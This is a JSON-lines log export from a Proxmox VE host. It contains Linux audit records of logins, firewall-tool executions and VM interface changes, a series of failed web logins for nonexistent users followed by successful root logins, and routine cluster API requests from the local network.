{"@timestamp":1781965021940,"@rawstring":"node=pve type=USER_ACCT msg=audit(1781965021.940:63648): pid=61063 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:accounting grantors=pam_permit acct=\"root\" exe=\"/usr/sbin/cron\" hostname=? addr=? terminal=cron res=success'"} {"@timestamp":1781965076369,"@rawstring":"node=pve type=ANOM_PROMISCUOUS msg=audit(1781965076.369:64064): dev=fwln877i0 prom=256 old_prom=0 auid=4294967295 uid=0 gid=0 ses=4294967295"} {"@timestamp":1781964796135,"@rawstring":"node=pve type=USER_LOGIN msg=audit(1781964796.135:62660): pid=60035 uid=0 auid=0 ses=7 subj=unconfined msg='op=login id=0 exe=\"/usr/lib/openssh/sshd-session\" hostname=192.168.1.157 addr=192.168.1.157 terminal=/dev/pts/1 res=success'"} {"@timestamp":1781965021943,"@rawstring":"node=pve type=CRED_DISP msg=audit(1781965021.943:63655): pid=61063 uid=0 auid=0 ses=8 subj=unconfined msg='op=PAM:setcred grantors=pam_permit acct=\"root\" exe=\"/usr/sbin/cron\" hostname=? addr=? terminal=cron res=success'"} {"@timestamp":1781964585756,"@rawstring":"<27>Jun 20 15:09:45 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=admin@pve msg=no such user ('admin@pve')\n\u0000"} {"@timestamp":1781966385442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966385.442:69505): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=607c8cfbee60 items=0 ppid=1156 pid=66707 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966385428,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966385.428:69500): arch=c000003e syscall=59 success=no exit=-2 a0=7ffed944ae80 a1=6082af41a310 a2=6082af413680 a3=5 items=1 ppid=66700 pid=66701 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964796094,"@rawstring":"node=pve type=USER_ACCT msg=audit(1781964796.094:62646): pid=60035 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:accounting grantors=pam_permit acct=\"root\" exe=\"/usr/lib/openssh/sshd-session\" hostname=192.168.1.157 addr=192.168.1.157 terminal=ssh res=success'"} {"@timestamp":1781965076307,"@rawstring":"node=pve type=ANOM_PROMISCUOUS msg=audit(1781965076.307:64061): dev=fwpr877p0 prom=256 old_prom=0 auid=4294967295 uid=0 gid=0 ses=4294967295"} {"@timestamp":1781965021940,"@rawstring":"node=pve type=LOGIN msg=audit(1781965021.940:63650): pid=61063 uid=0 subj=unconfined old-auid=4294967295 auid=0 tty=(none) old-ses=4294967295 ses=8 res=1"} {"@timestamp":1781966314744,"@rawstring":"<30>Jun 20 15:38:34 pveproxy[1231]: worker 66498 started\n\u0000"} {"@timestamp":1781965021941,"@rawstring":"node=pve type=CRED_REFR msg=audit(1781965021.941:63652): pid=61065 uid=0 auid=0 ses=8 subj=unconfined msg='op=PAM:setcred grantors=pam_permit acct=\"root\" exe=\"/usr/sbin/cron\" hostname=? addr=? terminal=cron res=success'"} {"@timestamp":1781964578809,"@rawstring":"<27>Jun 20 15:09:38 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=admin@pve msg=no such user ('admin@pve')\n\u0000"} {"@timestamp":1781966385439,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966385.439:69504): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e0600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66707 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966381415,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966381.415:69486): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66686 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964680091,"@rawstring":"node=pve type=USER_ACCT msg=audit(1781964680.091:62128): pid=1215 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:accounting grantors=pam_permit acct=\"root\" exe=\"/usr/bin/perl\" hostname=::ffff:192.168.1.157 addr=::ffff:192.168.1.157 terminal=? res=success'"} {"@timestamp":1781965076217,"@rawstring":"node=pve type=ANOM_PROMISCUOUS msg=audit(1781965076.217:64034): dev=tap877i0 prom=256 old_prom=0 auid=4294967295 uid=0 gid=0 ses=4294967295"} {"@timestamp":1781964796095,"@rawstring":"node=pve type=LOGIN msg=audit(1781964796.095:62648): pid=60035 uid=0 subj=unconfined old-auid=4294967295 auid=0 tty=(none) old-ses=4294967295 ses=7 res=1"} {"@timestamp":1781966314741,"@rawstring":"<30>Jun 20 15:38:34 pveproxy[1231]: starting 1 worker(s)\n\u0000"} {"@timestamp":1781964574920,"@rawstring":"<27>Jun 20 15:09:34 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=admin@pve msg=no such user ('admin@pve')\n\u0000"} {"@timestamp":1781966385435,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966385.435:69503): arch=c000003e syscall=59 success=yes exit=0 a0=6082af434ed0 a1=6082af431c50 a2=6082af413680 a3=5 items=2 ppid=66700 pid=66706 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966381414,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966381.414:69485): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66686 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965071829,"@rawstring":"node=pve type=ANOM_PROMISCUOUS msg=audit(1781965071.829:63974): dev=fwpr877p0 prom=0 old_prom=256 auid=4294967295 uid=0 gid=0 ses=4294967295"} {"@timestamp":1781966314741,"@rawstring":"<30>Jun 20 15:38:34 pveproxy[1231]: worker 59916 finished\n\u0000"} {"@timestamp":1781964571137,"@rawstring":"<27>Jun 20 15:09:31 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=admin@pve msg=no such user ('admin@pve')\n\u0000"} {"@timestamp":1781966385430,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966385.430:69502): arch=c000003e syscall=59 success=yes exit=0 a0=608271af5ac8 a1=7ffed944aec0 a2=6082af413680 a3=608271ad924e items=2 ppid=66700 pid=66702 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966381408,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966381.408:69483): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66685 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965071829,"@rawstring":"node=pve type=ANOM_PROMISCUOUS msg=audit(1781965071.829:63974): dev=fwln877i0 prom=0 old_prom=256 auid=4294967295 uid=0 gid=0 ses=4294967295"} {"@timestamp":1781966314596,"@rawstring":"<30>Jun 20 15:38:34 pveproxy[59916]: worker exit\n\u0000"} {"@timestamp":1781964566944,"@rawstring":"<27>Jun 20 15:09:26 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=admin@pve msg=no such user ('admin@pve')\n\u0000"} {"@timestamp":1781966385429,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966385.429:69501): arch=c000003e syscall=59 success=yes exit=0 a0=7ffed944ae80 a1=6082af41a310 a2=6082af413680 a3=5 items=2 ppid=66700 pid=66701 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966381408,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966381.408:69482): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66685 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965053204,"@rawstring":"node=pve type=ANOM_PROMISCUOUS msg=audit(1781965053.204:63867): dev=fwln877i0 prom=256 old_prom=0 auid=4294967295 uid=0 gid=0 ses=4294967295"} {"@timestamp":1781966284586,"@rawstring":"<30>Jun 20 15:38:04 pvedaemon[1214]: successful auth for user 'root@pam'\n\u0000"} {"@timestamp":1781964563160,"@rawstring":"<27>Jun 20 15:09:23 pvedaemon[1215]: authentication failure; rhost=::ffff:192.168.1.157 user=admin@pve msg=no such user ('admin@pve')\n\u0000"} {"@timestamp":1781966385423,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966385.423:69499): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66700 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966376396,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966376.396:69477): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66679 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965053183,"@rawstring":"node=pve type=ANOM_PROMISCUOUS msg=audit(1781965053.183:63864): dev=fwpr877p0 prom=256 old_prom=0 auid=4294967295 uid=0 gid=0 ses=4294967295"} {"@timestamp":1781966211750,"@rawstring":"<30>Jun 20 15:36:51 pveproxy[61617]: worker exit\n\u0000"} {"@timestamp":1781964559394,"@rawstring":"<27>Jun 20 15:09:19 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=admin@pve msg=no such user ('admin@pve')\n\u0000"} {"@timestamp":1781966385416,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966385.416:69498): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4cb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66699 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966376396,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966376.396:69476): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66679 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965053083,"@rawstring":"node=pve type=ANOM_PROMISCUOUS msg=audit(1781965053.083:63837): dev=tap877i0 prom=256 old_prom=0 auid=4294967295 uid=0 gid=0 ses=4294967295"} {"@timestamp":1781966210919,"@rawstring":"<30>Jun 20 15:36:50 pvedaemon[1216]: end task UPID:pve:0000F07F:0016AD02:6A36A11B:vncproxy:877:root@pam: OK\n\u0000"} {"@timestamp":1781964551419,"@rawstring":"<27>Jun 20 15:09:11 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pve msg=no such user ('root@pve')\n\u0000"} {"@timestamp":1781966385409,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966385.409:69497): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66698 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966376380,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966376.380:69474): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207438,"@rawstring":"node=pve type=ANOM_PROMISCUOUS msg=audit(1781966207.438:68912): dev=fwpr877p0 prom=0 old_prom=256 auid=4294967295 uid=0 gid=0 ses=4294967295"} {"@timestamp":1781966063534,"@rawstring":"<30>Jun 20 15:34:23 pveproxy[1231]: worker 65561 started\n\u0000"} {"@timestamp":1781964547060,"@rawstring":"<27>Jun 20 15:09:07 pvedaemon[1215]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pve msg=no such user ('root@pve')\n\u0000"} {"@timestamp":1781966385402,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966385.402:69496): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66697 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966376380,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966376.380:69473): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207438,"@rawstring":"node=pve type=ANOM_PROMISCUOUS msg=audit(1781966207.438:68912): dev=fwln877i0 prom=0 old_prom=256 auid=4294967295 uid=0 gid=0 ses=4294967295"} {"@timestamp":1781966063529,"@rawstring":"<30>Jun 20 15:34:23 pveproxy[1231]: starting 1 worker(s)\n\u0000"} {"@timestamp":1781964543323,"@rawstring":"<27>Jun 20 15:09:03 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pve msg=no such user ('root@pve')\n\u0000"} {"@timestamp":1781966385396,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966385.396:69495): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0fa0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66696 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966375346,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966375.346:69467): arch=c000003e syscall=59 success=no exit=-2 a0=7ffefdd7a360 a1=582dd5cf01c0 a2=582dd5cce680 a3=5 items=1 ppid=66670 pid=66671 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964829623,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:48 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1076"} {"@timestamp":1781966063529,"@rawstring":"<30>Jun 20 15:34:23 pveproxy[1231]: worker 55575 finished\n\u0000"} {"@timestamp":1781964539253,"@rawstring":"<27>Jun 20 15:08:59 pvedaemon[1214]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pve msg=no such user ('root@pve')\n\u0000"} {"@timestamp":1781966385390,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966385.390:69494): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66695 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966371370,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966371.370:69453): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66656 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964828630,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:48 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781966061584,"@rawstring":"<30>Jun 20 15:34:21 pveproxy[55575]: worker exit\n\u0000"} {"@timestamp":1781964535396,"@rawstring":"<27>Jun 20 15:08:55 pvedaemon[1214]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pve msg=no such user ('root@pve')\n\u0000"} {"@timestamp":1781966385384,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966385.384:69493): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66694 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966371370,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966371.370:69452): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66656 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964828630,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1076"} {"@timestamp":1781965994884,"@rawstring":"<30>Jun 20 15:33:14 pvedaemon[1215]: successful auth for user 'root@pam'\n\u0000"} {"@timestamp":1781964527847,"@rawstring":"<27>Jun 20 15:08:47 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=root@open msg=no such user ('root@open')\n\u0000"} {"@timestamp":1781966385378,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966385.378:69492): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66693 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966371356,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966371.356:69450): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66655 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964828630,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:47 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 841"} {"@timestamp":1781964524192,"@rawstring":"<27>Jun 20 15:08:44 pvedaemon[1214]: authentication failure; rhost=::ffff:192.168.1.157 user=root@open msg=no such user ('root@open')\n\u0000"} {"@timestamp":1781966385372,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966385.372:69491): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66692 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966371356,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966371.356:69449): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66655 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964827598,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 460"} {"@timestamp":1781964524045,"@rawstring":"<27>Jun 20 15:08:44 pvedaemon[1214]: authentication failure; rhost=::ffff:192.168.1.157 user=root@open msg=no such user ('root@open')\n\u0000"} {"@timestamp":1781966385365,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966385.365:69490): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66691 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966366340,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966366.340:69447): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66654 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964826490,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1076"} {"@timestamp":1781964520220,"@rawstring":"<27>Jun 20 15:08:40 pvedaemon[1214]: authentication failure; rhost=::ffff:192.168.1.157 user=root@open msg=no such user ('root@open')\n\u0000"} {"@timestamp":1781966384394,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966384.394:69489): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d5d7c420 a1=64f8d73c6ae0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66688 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966366340,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966366.340:69446): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66654 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964826490,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:45 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964516280,"@rawstring":"<27>Jun 20 15:08:36 pvedaemon[1214]: authentication failure; rhost=::ffff:192.168.1.157 user=root@open msg=no such user ('root@open')\n\u0000"} {"@timestamp":1781966384362,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966384.362:69488): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1a52d90 a1=64f8d73adb90 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66687 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966366331,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966366.331:69444): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66653 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964824683,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781964512341,"@rawstring":"<27>Jun 20 15:08:32 pvedaemon[1215]: authentication failure; rhost=::ffff:192.168.1.157 user=root@open msg=no such user ('root@open')\n\u0000"} {"@timestamp":1781966381415,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966381.415:69487): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66686 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966366331,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966366.331:69443): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66653 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964823680,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964512172,"@rawstring":"<27>Jun 20 15:08:32 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=root@open msg=no such user ('root@open')\n\u0000"} {"@timestamp":1781966381408,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966381.408:69484): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66685 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} 